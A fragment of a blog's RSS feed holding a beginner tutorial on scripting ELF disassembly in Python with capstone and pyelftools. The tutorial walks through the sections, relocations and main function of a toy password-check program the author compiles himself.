1880]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1881
1882<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1883
1884<h2 id="setup">Setup</h2>
1885
1886<p>As the title suggests, you’re going to need a Python 3 interpreter before
1887anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1888in fact, have a Python 3 interpreter installed on your system, run</p>
1889
1890<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1891</code></pre></div>
1892
1893<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1894
1895<p>With that out of the way, let’s start with an example of a basic reversing
1896challenge.</p>
1897
1898<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1899
1900<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1901<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1902<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1903
1904<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1905 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1906 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1907 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1908 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1909 <span class="p">}</span>
1910 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1911 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1912 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1913 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1914 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1915 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1916 <span class="p">}</span>
1917 <span class="k">else</span> <span class="p">{</span>
1918 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1919 <span class="p">}</span>
1920<span class="p">}</span>
1921</code></pre></div>
1922
1923<p>Compile it with GCC/Clang:</p>
1924
1925<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1926</code></pre></div>
1927
1928<h2 id="scripting">Scripting</h2>
1929
1930<p>For starters, let’s look at the different sections present in the binary.</p>
1931
1932<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1933
1934<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1935
1936<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1937 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1938 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1939 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1940</code></pre></div>
1941
1942<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1943
1944<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1945<span class="go">0x238 .interp</span>
1946<span class="go">0x254 .note.ABI-tag</span>
1947<span class="go">0x274 .note.gnu.build-id</span>
1948<span class="go">0x298 .gnu.hash</span>
1949<span class="go">0x2c0 .dynsym</span>
1950<span class="go">0x3e0 .dynstr</span>
1951<span class="go">0x484 .gnu.version</span>
1952<span class="go">0x4a0 .gnu.version_r</span>
1953<span class="go">0x4c0 .rela.dyn</span>
1954<span class="go">0x598 .rela.plt</span>
1955<span class="go">0x610 .init</span>
1956<span class="go">0x630 .plt</span>
1957<span class="go">0x690 .plt.got</span>
1958<span class="go">0x6a0 .text</span>
1959<span class="go">0x8f4 .fini</span>
1960<span class="go">0x900 .rodata</span>
1961<span class="go">0x924 .eh_frame_hdr</span>
1962<span class="go">0x960 .eh_frame</span>
1963<span class="go">0x200d98 .init_array</span>
1964<span class="go">0x200da0 .fini_array</span>
1965<span class="go">0x200da8 .dynamic</span>
1966<span class="go">0x200f98 .got</span>
1967<span class="go">0x201000 .data</span>
1968<span class="go">0x201010 .bss</span>
1969<span class="go">0x0 .comment</span>
1970<span class="go">0x0 .symtab</span>
1971<span class="go">0x0 .strtab</span>
1972<span class="go">0x0 .shstrtab</span>
1973</code></pre></div>
1974
1975<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1976
1977<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1978
1979<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1980
1981<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1982<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1983
1984<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1985 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1986 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1987 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1988 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1989 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1990 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1991 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1992</code></pre></div>
1993
1994<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1995
1996<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1997<span class="go">0x6a0: xor ebp, ebp</span>
1998<span class="go">0x6a2: mov r9, rdx</span>
1999<span class="go">0x6a5: pop rsi</span>
2000<span class="go">0x6a6: mov rdx, rsp</span>
2001<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
2002<span class="go">0x6ad: push rax</span>
2003<span class="go">0x6ae: push rsp</span>
2004<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
2005<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
2006<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
2007<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
2008<span class="go">0x6ca: hlt</span>
2009<span class="go">... snip ...</span>
2010</code></pre></div>
2011
2012<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
2013
2014<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
2015
2016<blockquote>
2017 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
2018</blockquote>
2019
2020<p>To try and find these relocation entries, we write a third script.</p>
2021
2022<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
2023
2024<span class="kn">import</span> <span class="nn">sys</span>
2025<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2026<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
2027
2028<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2029 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2030 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2031 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
2032 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
2033 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
2034 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
2035 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
2036 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
2037 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
2038</code></pre></div>
2039
2040<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
2041
2042<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
2043<span class="go">.rela.dyn:</span>
2044<span class="go"> 0x200d98</span>
2045<span class="go"> 0x200da0</span>
2046<span class="go"> 0x201008</span>
2047<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
2048<span class="go">**__libc_start_main 0x200fe0**</span>
2049<span class="go">__gmon_start__ 0x200fe8</span>
2050<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
2051<span class="go">__cxa_finalize 0x200ff8</span>
2052<span class="go">stdin 0x201010</span>
2053<span class="go">.rela.plt:</span>
2054<span class="go">puts 0x200fb0</span>
2055<span class="go">printf 0x200fb8</span>
2056<span class="go">fgets 0x200fc0</span>
2057<span class="go">strcmp 0x200fc8</span>
2058<span class="go">malloc 0x200fd0</span>
2059</code></pre></div>
2060
2061<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
2062
2063<blockquote>
2064 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
2065</blockquote>
2066
2067<p>And its definition is like so</p>
2068
2069<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
2070<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
2071<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2072<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2073<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2074<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
2075</code></pre></div>
2076
2077<p>Looking back at our disassembly</p>
2078
2079<pre><code>0x6a0: xor ebp, ebp
20800x6a2: mov r9, rdx
20810x6a5: pop rsi
20820x6a6: mov rdx, rsp
20830x6a9: and rsp, 0xfffffffffffffff0
20840x6ad: push rax
20850x6ae: push rsp
20860x6af: lea r8, [rip + 0x23a]
20870x6b6: lea rcx, [rip + 0x1c3]
2088**0x6bd: lea rdi, [rip + 0xe6]**
20890x6c4: call qword ptr [rip + 0x200916]
20900x6ca: hlt
2091... snip ...
2092</code></pre>
2093
2094<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
2095
2096<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
2097
2098<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
2099
2100<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
2101
2102<pre><code>printf 0x650
2103fgets 0x660
2104strcmp 0x670
2105malloc 0x680
2106</code></pre>
2107
2108<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
2109
2110<pre><code>0x7b2: mov edi, 0xa ; 10
21110x7b7: call 0x680 ; malloc
2112</code></pre>
2113
2114<p>The loop to populate the <code>*pw</code> string</p>
2115
2116<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
21170x7d3: cdqe
21180x7d5: lea rdx, [rax - 1]
21190x7d9: mov rax, qword ptr [rbp - 0x10]
21200x7dd: add rax, rdx
21210x7e0: movzx eax, byte ptr [rax]
21220x7e3: lea ecx, [rax + 1]
21230x7e6: mov eax, dword ptr [rbp - 0x14]
21240x7e9: movsxd rdx, eax
21250x7ec: mov rax, qword ptr [rbp - 0x10]
21260x7f0: add rax, rdx
21270x7f3: mov edx, ecx
21280x7f5: mov byte ptr [rax], dl
21290x7f7: add dword ptr [rbp - 0x14], 1
21300x7fb: cmp dword ptr [rbp - 0x14], 8
21310x7ff: jle 0x7d0
2132</code></pre>
2133
2134<p>And this looks like our <code>strcmp()</code></p>
2135
2136<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
21370x847: mov rax, qword ptr [rbp - 8] ; *pw
21380x84b: mov rsi, rdx
21390x84e: mov rdi, rax
21400x851: call 0x670 ; strcmp
21410x856: test eax, eax ; is = 0?
21420x858: jne 0x868 ; no? jump to 0x868
21430x85a: lea rdi, [rip + 0xae] ; "haha yes!"
21440x861: call 0x640 ; puts
21450x866: jmp 0x874
21460x868: lea rdi, [rip + 0xaa] ; "nah dude"
21470x86f: call 0x640 ; puts
2148</code></pre>
2149
2150<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
2151
2152<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
2153
2154<h2 id="conclusion">Conclusion</h2>
2155
2156<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
2157
2158<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
2159
2160<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
2161]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
2162</rss>